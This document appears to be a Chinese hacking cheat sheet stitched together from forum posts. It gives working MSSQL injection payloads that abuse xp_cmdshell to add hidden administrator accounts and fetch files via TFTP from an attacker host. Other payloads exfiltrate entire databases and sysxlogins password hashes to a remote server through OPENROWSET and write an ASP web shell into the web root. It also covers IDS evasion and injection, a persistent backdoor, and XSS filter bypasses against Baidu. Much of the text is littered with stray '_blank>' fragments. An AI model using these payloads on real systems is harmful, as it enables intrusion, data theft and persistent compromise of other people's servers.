    ;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;-- 
    exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务 
    exec master..xp_blank>_servicecontrol start, server 
    ; DECLARE @shell INT EXEC SP_blank>_OACREATE w.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add 
    ;DECLARE @shell INT EXEC SP_blank>_OACREATE w.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add 
    ; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件 

    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 
    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 
    ;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat 


    如果被限制则可以。 


    select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax) 


    查询构造: 


    SELECT * FROM news WHERE id=... AND topic=... AND ..... 
    adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 
    select 123;-- 
    ;use master;-- 
    :a or name like fff%;-- 显示有一个叫ffff的用户哈。 
    and 1<>(select count (email) from [user]);-- 
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- 
    ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 
    ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- 
    ;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- 
    ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- 
    ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 

    上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
    通过查看ffff的用户资料可得第一个用表叫ad 
    然后根据表名ad得到这个表的ID 得到第二个表的名字 



    insert into users s( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- 
    insert into users s( 667,123,123,0xffff)-- 
    insert into users s ( 123, admin--, password, 0xffff)-- 
    ;and user>0 
    ;and (select count(*) from sysobjects)>0 
    ;and (select count(*) from mysysobjects)>0 //为access_blank>数据库 


    枚举出数据表名 


    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--


    这是将第一个表名更新到aaa的字段处。 
    读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。 


    ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 


    然后id=1552 and exists(select * from aaa where aaa>5) 
    读出第二个表,一个个的读出,直到没有为止。 
    读字段是这样: 


    ;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));-- 


    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 


    ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 


    然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 

    [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 
    update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) 
    通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] 

    [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 
    update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件] 

    绕过IDS的检测[使用变量] 


    ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 
    ;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 


    1、 开启远程_blank>数据库 
    基本语法 


    select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 


    参数: (1) OLEDB Provider name 
    2、 其中连接字符串参数可以是任何端口用来连接,比如 


    select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table 


    3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。


    基本语法: 


    insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 
    这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases) 
    select * from master.dbo.sysdatabases 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects) 
    select * from user_blank> _database.dbo.sysobjects 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns) 
    select * from user_blank> _database.dbo.syscolumns 


    复制_blank>数据库: 


    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 
    insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2 


    复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下: 


    insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins 


    得到hash之后,就可以进行暴力破解。 

    遍历目录的方法: 先创建一个临时表:temp 


    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
    ;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器 
    ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表 
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;-- 
    ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;-- 
    ;insert into temp(id) exec master.dbo.xp_blank> _cmdshell c C:\Inetpub\Admins\adsutil.vbs enum w3svc 
    ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC)


    写入表: 
    语句1:and 1= (SELECT IS_blank>_SRVROLEMEMBER(sysadmin));-- 
    语句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER (serveradmin));-- 
    语句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));-- 
    语句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 
    语句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER (securityadmin));-- 
    语句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));-- 
    语句7:and 1= (SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 
    语句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER (bulkadmin));-- 
    语句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));-- 

    把路径写到表中去: 


    ;create table dirs(paths varchar(100), id int)-- 
    ;insert dirs exec master.dbo.xp_blank>_dirtree c:\-- 
    and 0<>(select top 1 paths from dirs)-- 
    and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))-- 
    ;create table dirs1(paths varchar(100), id int)-- 
    ;insert dirs exec master.dbo.xp_blank>_dirtree e:\web-- 
    and 0<>(select top 1 paths from dirs1)-- 


    把_blank>数据库备份到网页目录:下载 


    ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;-- 

    and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) 
    and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。 
    and 1=(select user_blank>_id from USER_blank>_LOGIN) 
    and 0=(select user from USER_blank>_LOGIN where user>1) 

    -=- w.shell example -=- 
    declare @o int 
    exec sp_blank>_oacreate w.shell, @o out 
    exec sp_blank>_oamethod @o, run, NULL, notepad.exe 
    ; declare @o int exec sp_blank>_oacreate w.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe-- 

    declare @o int, @f int, @t int, @ret int 
    declare @line varchar(8000) 
    exec sp_blank>_oacreate ing.filesystemobject, @o out 
    exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 
    exec @ret = sp_blank>_oamethod @f, readline, @line out 
    while( @ret = 0 ) 
    begin 
    print @line 
    exec @ret = sp_blank>_oamethod @f, readline, @line out 
    end 

    declare @o int, @f int, @t int, @ret int 
    exec sp_blank>_oacreate ing.filesystemobject, @o out 
    exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 
    exec @ret = sp_blank>_oamethod @f, writeline, NULL, 
    <% set o = server.createobject("w.shell"): o.run( request.querystring("cmd") ) %> 

    declare @o int, @ret int 
    exec sp_blank>_oacreate speech.voicetext, @o out 
    exec sp_blank> _oamethod @o, register, NULL, foo, bar 
    exec sp_blank>_oasetproperty @o, speed, 150 
    exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 
    waitfor delay 00:00:05 

    ; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- 

    xp_blank>_dirtree适用权限PUBLIC 
    exec master.dbo.xp_blank>_dirtree c:\ 
    返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 
    create table dirs(paths varchar(100), id int) 
    建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 
    insert dirs exec master.dbo.xp_blank>_dirtree c:\ 
    只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息
  • 1.关于Openrowset和Opendatasource 

    可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是(包括MSDN的列子)如下: 



    select * from openrowset('sqloledb','myserver';'sa';'','select * from
    table')

    可见(即使从字面意义上看)openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset 。 

    那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的! 



    select * from openrowset('sqloledb','server';'sa';'','set fmtonly off
    exec master.dbo.xp_cmdshel l ''dir c:\''')

    必须加上set fmtonly off用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。  
    那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作: 



    select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' 
    exec master.dbo.sp_addlogin Hectic')

    这样,命令至少会返回select OK!'的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select 'OK!'的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧。  
    2.关于Msdasql两次请求的问题 

    不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下: 



    select * from openrowset('msdasql','driver={sql 
    server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
    elect * from table1 select * from table2')

    当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死 sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧。  
    3.可怕的后门 

    以前在网上看到有人说在 sqlserver上留后门可以通过添加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令: 



    select * from openrowset('sqloledb','trusted_connection=yes;data 
    source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

    这样在对方的 sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在 sqlserver2000 sqlserver2000SP1上通过!  
    另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的 sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是我们通过如下的命令: 



    select * from openrowset
    ('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec 
    master..xp_cmdshell ''dir c:\''')

    应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql 的方法。 

    如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行。 

    4.利用T-sql骗过Ids或攻击Ids 

    现在的Ids已经变得越来越聪明了。有的ids加入了xp_cmdshell sp_addlogin 的监视,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉。 

    先说说欺骗Ids 

    Ids既然监视xp_cmdshell关键字,那么我们可以这么做: 



    declare @a sysname set @a="xp_" "cmdshell" exec @a 'dir c:\'

    这个代码相信大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做: 

    假设这个id=988456 



    declare @a sysname select @a=name from sysobjects where id=988456 
    exec @a 'dir c:\'


    当然也可以:  


    declare @a sysname select @a=name from sysobjects where id=988455 1 
    exec @a 'dir c:\'

    这种做法排列组合,ids根本不可能做的到完全监视。同理,sp_addlogin也可以这么做。 

    再说说攻击Ids 

    因为Ids数据量很大,日至通常备份到常规数据库,比如sql server。 

    如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做,通常程序会这么写: 



    insert table s ('日至内容',...)

    那么我们想想看,如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后会变成: 



    insert table s ('日至内容'....'temp') exec xp_cmdshell 'dir 
    c:\' -- ')

    这样,xp_cmdshell就可以在ids的数据库运行了。当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成 。因此, 会被提交到sql server,这样你的命令就无法执行了。 唯一的办法就是: 



    insert/**/table/**/s('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')

    用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录。 

    其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 。本来asp是select语句,那么用'就可以屏蔽。现在ids用insert语句,那么用')屏蔽。 

    好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了。

  • 一、

    # discover by Monyer


    漏洞成因:百度虽然对于插入的html标签的属性进行过滤,包括style(层叠样式表),但是并没有对混淆在样式中的注释部分进行位置检查。造成可以通过在expression中插入注释,譬如:expr/*XSS*/ession,并以此方式绕过百度的过滤系统。但是由于在IE运行时会忽略掉注释内容,使得XSS代码得以正常运行,跨站即产生

    示例:<img STYLE="xss:expr/*XSS*/ession(alert(&quot;XSS&quot;))">
    <div STYLE="xss:expr/*XSS*/ession(this.innerHTML=&quot;<h1> monyer</h1>&quot;)"></div>

    ---------------------------------------------------------------------------------------------------------------------------------------------
    二、

    # discover by Monyer

    漏洞成因:虽然百度空间费劲心思过滤了java,过滤了expression,过滤了等等的一些触发事件。可是它忽略了过滤vb,因此造成了一个非常严重的跨站漏洞的出现

    示例:<img src="vb:msgbox(&quot;xss&quot;)" />
    <img src="vb:msgbox()" />

    ---------------------------------------------------------------------------------------------------------------------------------------------
    三、

    # discover by Monyer


    漏洞成因:我们知道对于backgroud样式属性是需要嵌套url才能引用XSS代码的,如果直接把代码写进backgroud是不能运行的,因为缺少了一个触发机制。而table标签会自动加载内部内容——相当与eval。(如果你上一个比较慢的空间,并且整个空间只有一个table,那么你会发现直到整个table数据全部下载到本地才能显示网页内容,原因即是如此)

    示例:<table><tr><td background="java:alert(/xss/)"></tr></table>

    <table >
    <tr >
    <td background="java:TheId.innerHTML=%22&lt;embed src=\'URL\' height width &gt;%22" >sth or noting</td >
    </tr >
    </table >
  • 1.判断是否有注入;and 1=1 ;and 1=2 


    2.初步判断是否是mssql ;and user>0 


    3.注入参数是字符’and [查询条件] and ’’=’ 


    4.搜索时没过滤参数的’and [查询条件] and ’%25’=’ 


    5.判断数据库系统 

    ;and (select count(*) from sysobjects)>0 mssql 

    ;and (select count(*) from msysobjects)>0 access 


    6.猜数据库 ;and (select Count(*) from [数据库名])>0 


    7.猜字段 ;and (select Count(字段名) from 数据库名)>0 


    8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 


    9.(1)猜字段的ascii值(access) 

    ;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 


    (2)猜字段的ascii值(mssql) 

    ;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 


    10.测试权限结构(mssql) 

    ;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));-- 

    ;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));-- 

    ;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));-- 

    ;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));-- 

    ;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));-- 

    ;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));-- 

    ;and 1=(select IS_MEMBER(’db_owner’));-- 


    11.添加mssql和系统的帐户 

    ;exec master.dbo.sp_addlogin username;-- 


    ;exec master.dbo.sp_password null,username,password;-- 


    ;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 


    ;exec master.dbo.xp_cmdshell ’net user username password 

    /workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;-- 


    ;exec master.dbo.xp_cmdshell ’net user username password /add’;-- 


    ;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;-- 


    12.(1)遍历目录 


    ;create table dirs(paths varchar(100), id int) 

    ;insert dirs exec master.dbo.xp_dirtree ’c:\’ 

    ;and (select top 1 paths from dirs)>0 

    ;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>) 


    (2)遍历目录 

    ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 

    ;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 

    ;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;-- 获得子目录列表 

    ;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- 获得所有子目录的目录树构 

    ;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;-- 查看文件的内容 


    13.mssql中的存储过程 


    xp_regenums 注册表根键, 子键 

    ;exec xp_regenums ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值 


    xp_regread 根键,子键,键值名 

    ;exec xp_regread 

    ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’ 返回制定键的值 


    xp_regwrite 根键,子键, 值名, 值类型, 值